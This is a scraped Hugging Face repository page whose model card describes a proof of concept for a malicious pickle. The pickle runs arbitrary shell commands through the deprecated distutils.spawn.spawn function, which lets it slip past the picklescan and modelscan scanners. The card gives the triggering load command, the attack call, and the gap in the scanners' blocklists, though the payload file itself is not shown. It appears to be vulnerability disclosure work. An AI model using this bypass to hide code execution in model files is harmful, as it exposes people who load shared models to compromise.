Downloads · 30 days
0
pickle-bypass-distutils-spawn-poc
xiaoyaoes/pickle-bypass-distutils-spawn-poc
pickle-bypass-distutils-spawn-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
RCE via deprecated stdlib distutils.spawn.spawn()
Access
Public
Updated Jun 12, 2026
Repo size
73 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 47%
At a glance
- Access
- Public
- Created
- Jun 12, 2026
- Updated
- Jun 12, 2026
- SHA
- 3fd49dd3
Model card
From the Hugging Face model README
Pickle Scanner Bypass — distutils.spawn.spawn
RCE via deprecated stdlib distutils.spawn.spawn()
Bypasses both picklescan v1.0.4 and modelscan v0.8.8.
The deprecated distutils.spawn.spawn() function internally calls subprocess.Popen(cmd).wait(), executing arbitrary commands. Neither scanner includes distutils.spawn in their unsafe modules list.
Usage
python3 -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"
# /tmp/MFV_PWNED will be created
Technical Details
- Module:
distutils.spawn(stdlib, deprecated since Python 3.10, removed in 3.12) - Function:
distutils.spawn.spawn() - Attack:
distutils.spawn.spawn(['bash', '-c', 'your_command_here']) - Detection: picklescan v1.0.4: ❌ | modelscan v0.8.8: ❌
distutils.spawn is distinct from distutils.file_util (which is in picklescan's blocklist).
- Created
- Jun 12, 2026
- Updated
- Jun 12, 2026